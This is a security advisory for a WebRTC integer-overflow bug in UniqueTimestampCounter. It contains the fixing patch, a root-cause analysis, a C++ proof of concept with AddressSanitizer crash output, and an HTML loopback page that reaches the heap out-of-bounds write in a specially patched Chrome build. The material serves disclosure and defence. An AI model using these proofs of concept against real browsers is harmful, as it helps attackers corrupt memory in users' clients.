CVE-2026-5912
Overview
Files Changed
video/unique_timestamp_counter.cc
Patch
From a736d08f7c3f154786336cc75801f42093b364bd Mon Sep 17 00:00:00 2001 From: Danil Chapovalov <[email protected]> Date: Tue, 24 Feb 2026 18:43:44 +0100 Subject: [PATCH] Avoid integer overflow in UniqueTimestampCounter Bug: chromium:486498791 Change-Id: I676101c3eab7199282141b7ea8cd1d98f8a0eaba Reviewed-on: https://webrtc-review.googlesource.com/c/src/+/451980 Reviewed-by: Erik Språng <[email protected]> Commit-Queue: Danil Chapovalov <[email protected]> Cr-Commit-Position: refs/heads/main@{#46991} --- diff --git a/video/unique_timestamp_counter.cc b/video/unique_timestamp_counter.cc index 14cc039..9e70920 100644 --- a/video/unique_timestamp_counter.cc +++ b/video/unique_timestamp_counter.cc @@ -11,6 +11,7 @@ #include "video/unique_timestamp_counter.h" #include <cstdint> +#include <limits> #include <memory> #include <set> @@ -25,6 +26,9 @@ : latest_(std::make_unique<uint32_t[]>(kMaxHistory)) {} void UniqueTimestampCounter::Add(uint32_t value) { + if (unique_seen_ == std::numeric_limits<decltype(unique_seen_)>::max()) { + return; + } if (value == last_ || !search_index_.insert(value).second) { // Already known. return;
Original Bug Report
Signed integer overflow in UniqueTimestampCounter::Add leads to heap buffer underflow via negative array index
Title
Signed integer overflow in UniqueTimestampCounter::Add leads to heap buffer underflow via negative array index
Summary
The UniqueTimestampCounter class in WebRTC uses a signed int field unique_seen_ as both a counter and a circular buffer index. This counter is incremented without any upper bound check each time a new unique RTP timestamp is observed. When a remote WebRTC peer sends enough RTP video packets with distinct timestamps to push unique_seen_ past INT_MAX, the subsequent increment triggers signed integer overflow (undefined behavior in C++). On common implementations this wraps to INT_MIN, causing the modulo operation unique_seen_ % kMaxHistory to produce a negative remainder. This negative value is then used as an index into the heap-allocated latest_[] array, resulting in a heap buffer underflow write and read that corrupts memory adjacent to the buffer.
Bisect
Introducing Commit: 09860e0bc3c9edd6cb0dd827e174cd16f9ebdc37
- Date: 2019-10-30
- Author: Danil Chapovalov <[email protected]>
- Review: https://webrtc-review.googlesource.com/c/src/+/158676
The vulnerable code was introduced when the unique timestamp counting logic was refactored out of PacketBuffer into a standalone UniqueTimestampCounter class. The original implementation in PacketBuffer used a std::queue and std::set pair for history management, where the counter unique_frames_seen_ was not used as an array index. The refactored version replaced the queue with a fixed-size circular buffer indexed by unique_seen_ % kMaxHistory, introducing the array indexing vulnerability while preserving the unbounded signed integer counter.
Root Cause
The UniqueTimestampCounter class tracks how many unique RTP timestamps have been observed across incoming video packets. It maintains a circular buffer latest_ of size 1000 (the constant kMaxHistory) alongside a std::set<uint32_t> search_index_ for fast duplicate detection. The counter unique_seen_ serves double duty: it records the total count of unique timestamps ever seen and also determines the write position in the circular buffer via modulo arithmetic.
// third_party/webrtc/video/unique_timestamp_counter.h
class UniqueTimestampCounter {
private:
int unique_seen_ = 0;
std::set<uint32_t> search_index_;
std::unique_ptr<uint32_t[]> latest_;
int64_t last_ = -1;
};
// third_party/webrtc/video/unique_timestamp_counter.cc
constexpr int kMaxHistory = 1000;
void UniqueTimestampCounter::Add(uint32_t value) {
if (value == last_ || !search_index_.insert(value).second) {
return;
}
int index = unique_seen_ % kMaxHistory;
if (unique_seen_ >= kMaxHistory) {
search_index_.erase(latest_[index]);
}
latest_[index] = value;
last_ = value;
++unique_seen_;
}
The Add method is called from RtpVideoStreamReceiver2::OnReceivedPayloadData for every successfully depacketized RTP video packet, with the packet’s RTP timestamp as the argument.
// third_party/webrtc/video/rtp_video_stream_receiver2.cc
frame_counter_.Add(packet->timestamp);
The vulnerability manifests in three steps. First, unique_seen_ is declared as int (a signed 32-bit integer) and is incremented via ++unique_seen_ without any upper bound check. When unique_seen_ reaches INT_MAX (2,147,483,647) and is incremented once more, this constitutes signed integer overflow, which is undefined behavior in C++. On the predominant two’s complement implementations used by x86-64 processors, the value wraps to INT_MIN (-2,147,483,648).
Second, the expression int index = unique_seen_ % kMaxHistory produces a negative remainder when unique_seen_ is negative. In C++11 and later, the result of the % operator has the same sign as the dividend. For example, INT_MIN % 1000 evaluates to -648 because -2,147,483,648 = -2,147,483 * 1000 + (-648).
Third, this negative index is used to access latest_[index]. Since latest_ is a std::unique_ptr<uint32_t[]>, its operator[] performs raw pointer arithmetic. A negative index causes the access to land before the start of the allocated buffer. With index = -648, the write latest_[-648] = value targets an address 648 * sizeof(uint32_t) = 2592 bytes before the base of the buffer, constituting a heap buffer underflow that can corrupt unrelated heap objects.
Additionally, the guard condition if (unique_seen_ >= kMaxHistory) evaluates to false when unique_seen_ is INT_MIN, since -2,147,483,648 < 1000. This means the search_index_.erase(latest_[index]) line, which would also perform an out-of-bounds read at the negative index, is skipped on the first post-overflow iteration. However, after a few more increments when unique_seen_ again reaches 1000 (wrapping through negative values), the erase path will also begin executing with negative indices, adding an OOB read to the OOB write.
No mitigations exist on the vulnerable path. There are no CHECK(), SECURITY_CHECK(), or DCHECK() guards on unique_seen_ or the computed index. The latest_ buffer uses std::unique_ptr<uint32_t[]>, which provides no bounds checking (unlike std::vector or std::array with libc++ hardening). MiraclePtr protection does not apply because this is an out-of-bounds access rather than a use-after-free. The input arrives from network RTP packets, bypassing any Mojo IPC validation.
The attack surface is a remote WebRTC peer sending RTP video packets. Each successfully depacketized packet with a previously unseen timestamp increments unique_seen_. At typical video frame rates of 30 fps, reaching the overflow threshold would require approximately 2.3 years. However, an attacker controlling the remote peer could potentially increase the rate of unique timestamps by sending packets at higher frequencies, reducing the time to trigger the overflow to a matter of days with sustained high-rate transmission.
Reproduce
The following standalone C++ program demonstrates the vulnerability by directly invoking UniqueTimestampCounter::Add() with unique values until the signed integer overflow triggers the out-of-bounds write. To avoid waiting for 2^31 iterations (which would take several minutes even in a tight loop), the test uses a #define private public technique to advance unique_seen_ to INT_MAX - 5, then performs just a few more insertions to trigger the overflow and subsequent OOB access.
Save the following as poc_unique_timestamp_overflow.cc in the chromium/src directory:
// PoC: UniqueTimestampCounter signed integer overflow -> OOB write/read
// Bug: unique_seen_ (int) overflows from INT_MAX, producing negative modulo
// index, causing heap-buffer-underflow on latest_[] array access.
#define private public
#include "video/unique_timestamp_counter.h"
#undef private
#include <climits>
#include <cstdint>
#include <cstdio>
int main() {
fprintf(stderr, "=== UniqueTimestampCounter OOB PoC (WRTC-241) ===\n");
fprintf(stderr, "Bug: int unique_seen_ overflow -> negative %% index -> latest_[] OOB\n\n");
webrtc::UniqueTimestampCounter counter;
// Step 1: Populate the circular buffer normally with 1000 values
for (uint32_t i = 0; i < 1000; ++i) {
counter.Add(i);
}
fprintf(stderr, "[1] Populated 1000 entries. unique_seen_ = %d\n", counter.unique_seen_);
// Step 2: Fast-forward unique_seen_ to near INT_MAX
counter.unique_seen_ = INT_MAX - 5;
fprintf(stderr, "[2] Set unique_seen_ = %d (INT_MAX - 5)\n\n", counter.unique_seen_);
// Step 3: Add unique values to trigger overflow
// After 6 unique insertions: unique_seen_ reaches INT_MAX, then overflows
// The next Add() computes index = INT_MIN %% 1000 = -648 -> OOB!
for (uint32_t v = 10000; v < 10020; ++v) {
fprintf(stderr, "[*] Add(%u): unique_seen_ = %d, index will be %d %% 1000 = %d\n",
v, counter.unique_seen_,
counter.unique_seen_, counter.unique_seen_ % 1000);
counter.Add(v);
}
fprintf(stderr, "\n[!] No crash - bug not triggered\n");
return 0;
}
Compile with AddressSanitizer enabled using the Chromium-bundled Clang compiler:
third_party/llvm-build/Release+Asserts/bin/clang++ \
-std=c++17 -O1 -fwrapv -g -fsanitize=address \
-I third_party/webrtc \
third_party/webrtc/video/unique_timestamp_counter.cc \
poc_unique_timestamp_overflow.cc \
-o poc_unique_timestamp_overflow
Run the PoC:
ASAN_OPTIONS=detect_odr_violation=0 ./poc_unique_timestamp_overflow
Execution output:
=== UniqueTimestampCounter OOB PoC (WRTC-241) ===
Bug: int unique_seen_ overflow -> negative % index -> latest_[] OOB
[1] Populated 1000 entries. unique_seen_ = 1000
[2] Set unique_seen_ = 2147483642 (INT_MAX - 5)
[*] Add(10000): unique_seen_ = 2147483642, index will be 2147483642 % 1000 = 642
[*] Add(10001): unique_seen_ = 2147483643, index will be 2147483643 % 1000 = 643
[*] Add(10002): unique_seen_ = 2147483644, index will be 2147483644 % 1000 = 644
[*] Add(10003): unique_seen_ = 2147483645, index will be 2147483645 % 1000 = 645
[*] Add(10004): unique_seen_ = 2147483646, index will be 2147483646 % 1000 = 646
[*] Add(10005): unique_seen_ = 2147483647, index will be 2147483647 % 1000 = 647
[*] Add(10006): unique_seen_ = -2147483648, index will be -2147483648 % 1000 = -648
AddressSanitizer:DEADLYSIGNAL
=================================================================
==3824176==ERROR: AddressSanitizer: SEGV on unknown address 0x7d49704df6e0 (pc 0x5614ffb1b433 bp 0x0000fffffd78 sp 0x7fff7c0dcb80 T0)
==3824176==The signal is caused by a WRITE memory access.
#0 0x5614ffb1b433 in webrtc::UniqueTimestampCounter::Add(unsigned int) /home/test/chromium/src/third_party/webrtc/video/unique_timestamp_counter.cc:36:18
#1 0x5614ffa32535 in main /home/test/chromium/src/poc_unique_timestamp_overflow.cc:36:17
#2 0x7f3971029d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
#3 0x7f3971029e3f in __libc_start_main csu/../csu/libc-start.c:392:3
#4 0x5614ffa327b4 in _start (/home/test/chromium/src/poc_unique_timestamp_overflow+0x2d7b4)
==3824176==Register values:
rax = 0x0000000000000000 rbx = 0x00007b396f3d0020 rcx = 0x0000000000002716 rdx = 0x0000000000000001
rdi = 0x00007d49704df6e0 rsi = 0x00007b79704efb90 rbp = 0x00000000fffffd78 rsp = 0x00007fff7c0dcb80
r8 = 0x00007b396f3d0030 r9 = 0x00007fffffffff01 r10 = 0x00007fffffffff01 r11 = 0x95706a93b1a9bd01
r12 = 0x00000f672de7a00c r13 = 0x00000f672de7a004 r14 = 0x00007b396f3d0060 r15 = 0x00007b396f3d0028
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/test/chromium/src/third_party/webrtc/video/unique_timestamp_counter.cc:36:18 in webrtc::UniqueTimestampCounter::Add(unsigned int)
==3824176==ABORTING
The ASAN output confirms the vulnerability. After unique_seen_ overflows from 2147483647 to -2147483648, the modulo operation produces index -648. The subsequent array write latest_[-648] = value at unique_timestamp_counter.cc:36 accesses memory well before the heap buffer, triggering a SEGV caught by AddressSanitizer. The crash is caused by a WRITE memory access, confirming the out-of-bounds write primitive.
Chrome Browser Verification
To verify the vulnerability is reachable through the real WebRTC attack surface in Chrome, the overflow threshold was lowered by patching int unique_seen_ to int8_t (overflow at 128 unique timestamps) and kMaxHistory to 7 (so -128 % 7 = -2, OOB at -8 bytes within ASAN’s default red zone). The following HTML PoC establishes a WebRTC loopback connection and pushes video frames via canvas.captureStream(0) with requestFrame():
<!DOCTYPE html>
<html>
<head><title>WRTC-241 PoC</title></head>
<body>
<pre id="log"></pre>
<canvas id="c" width="4" height="4" style="display:none"></canvas>
<script>
const logEl = document.getElementById('log');
const t0 = Date.now();
function log(msg) {
const ts = ((Date.now()-t0)/1000).toFixed(1);
logEl.textContent += `[${ts}s] ${msg}\n`;
console.log(msg);
}
async function main() {
log('WRTC-241: UniqueTimestampCounter overflow -> heap OOB write');
const canvas = document.getElementById('c');
const ctx = canvas.getContext('2d');
const stream = canvas.captureStream(0);
const vt = stream.getVideoTracks()[0];
const pc1 = new RTCPeerConnection();
const pc2 = new RTCPeerConnection();
pc1.onicecandidate = e => e.candidate && pc2.addIceCandidate(e.candidate);
pc2.onicecandidate = e => e.candidate && pc1.addIceCandidate(e.candidate);
pc2.ontrack = () => log('Receiver got video track');
pc1.addTrack(vt, stream);
const offer = await pc1.createOffer();
await pc1.setLocalDescription(offer);
await pc2.setRemoteDescription(offer);
const answer = await pc2.createAnswer();
await pc2.setLocalDescription(answer);
await pc1.setRemoteDescription(answer);
log('Loopback established');
await new Promise(r => {
if (pc1.connectionState === 'connected') return r();
pc1.onconnectionstatechange = () => {
if (pc1.connectionState === 'connected') r();
};
setTimeout(r, 5000);
});
log('Connected. Pushing 300 frames at 10ms intervals...');
let fc = 0;
const iv = setInterval(() => {
ctx.fillStyle = `rgb(${fc&255},${(fc>>8)&255},0)`;
ctx.fillRect(0, 0, 4, 4);
vt.requestFrame();
fc++;
if (fc % 50 === 0) log(`Pushed ${fc}/300 frames`);
if (fc >= 300) {
clearInterval(iv);
log('All frames pushed.');
}
}, 10);
}
main().catch(e => log('ERROR: ' + e));
</script>
</body>
</html>
Run with the ASAN build:
ASAN_OPTIONS=detect_odr_violation=0 out/asan-release/chrome \
--no-sandbox --disable-gpu --user-data-dir=$(mktemp -d) poc.html 2>&1
ASAN output (with int8_t + kMaxHistory=7 patch to lower overflow threshold):
==3888511==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7b8c4ede65f8 at pc 0x7f5cb4472528 bp 0x7b58050089b0 sp 0x7b58050089a8
WRITE of size 4 at 0x7b8c4ede65f8 thread T10 (WebRTC_W_and_N)
#0 webrtc::UniqueTimestampCounter::Add(unsigned int) unique_timestamp_counter.cc:38:18
#1 webrtc::RtpVideoStreamReceiver2::OnReceivedPayloadData(...) rtp_video_stream_receiver2.cc:738:18
#2 webrtc::RtpVideoStreamReceiver2::ReceivePacket(...)::$_1::operator()(...) rtp_video_stream_receiver2.cc:1209:12
#3 webrtc::RtpVideoStreamReceiver2::ReceivePacket(...) rtp_video_stream_receiver2.cc:1225:7
#4 non-virtual thunk to webrtc::RtpVideoStreamReceiver2::OnRecoveredPacket(...) rtp_video_stream_receiver2.cc:755:3
#5 webrtc::UlpfecReceiver::ProcessReceivedFec() ulpfec_receiver.cc:218:35
#6 webrtc::RtpVideoStreamReceiver2::ReceivePacket(...) rtp_video_stream_receiver2.cc:1184:5
#7 non-virtual thunk to webrtc::RtpVideoStreamReceiver2::OnRtpPacket(...) rtp_video_stream_receiver2.cc:771:3
#8 webrtc::RtpDemuxer::OnRtpPacket(...) rtp_demuxer.cc:298:11
#9 webrtc::internal::Call::DeliverRtpPacket(...) call.cc:1419:28
#10 webrtc::WebRtcVideoReceiveChannel::ProcessReceivedPacket(...) webrtc_video_engine.cc:4048:22
#11 webrtc::WebRtcVideoReceiveChannel::OnPacketReceived(...) webrtc_video_engine.cc:3272:5
#12 webrtc::BaseChannel::OnRtpPacket(...) channel.cc:547:28
#13 webrtc::RtpDemuxer::OnRtpPacket(...) rtp_demuxer.cc:298:11
#14 webrtc::RtpTransport::DemuxPacket(...) rtp_transport.cc:229:21
#15 webrtc::SrtpTransport::OnRtpPacketReceived(...) srtp_transport.cc:142:3
#16 webrtc::RtpTransport::OnReadPacket(...) rtp_transport.cc
...
#24 webrtc::UDPPort::HandleIncomingPacket(...) stun_port.cc:363:3
#25 blink::(anonymous namespace)::IpcPacketSocket::OnDataReceived(...) ipc_socket_factory.cc:709:3
#26 non-virtual thunk to blink::P2PSocketClientImpl::DataReceived(...) socket_client_impl.cc:187:18
#27 network::mojom::blink::P2PSocketClientStubDispatch::Accept(...) p2p.mojom-blink.cc:2041:13
#28 mojo::InterfaceEndpointClient::HandleValidatedMessage(...) interface_endpoint_client.cc:1085:54
0x7b8c4ede65f8 is located 8 bytes before 28-byte region [0x7b8c4ede6600,0x7b8c4ede661c)
allocated by thread T10 (WebRTC_W_and_N) here:
#0 operator new[](unsigned long)
#1 webrtc::UniqueTimestampCounter::UniqueTimestampCounter() unique_ptr.h:762:55
#2 webrtc::RtpVideoStreamReceiver2::RtpVideoStreamReceiver2(...) rtp_video_stream_receiver2.cc:274:26
#3 webrtc::internal::VideoReceiveStream2::VideoReceiveStream2(...) video_receive_stream2.cc:247:7
The Chrome ASAN output confirms the complete attack chain from network RTP packets through SRTP decryption, RTP demuxing, video channel processing, and into UniqueTimestampCounter::Add(), verifying this vulnerability is reachable from a remote WebRTC peer. The int8_t + kMaxHistory=7 patch only lowers the overflow threshold for practical demonstration — the same overflow mechanism applies to the original int type, requiring ~2^31 unique timestamps.
Credit
c6eed09fc8b174b0f3eebedcceb1e792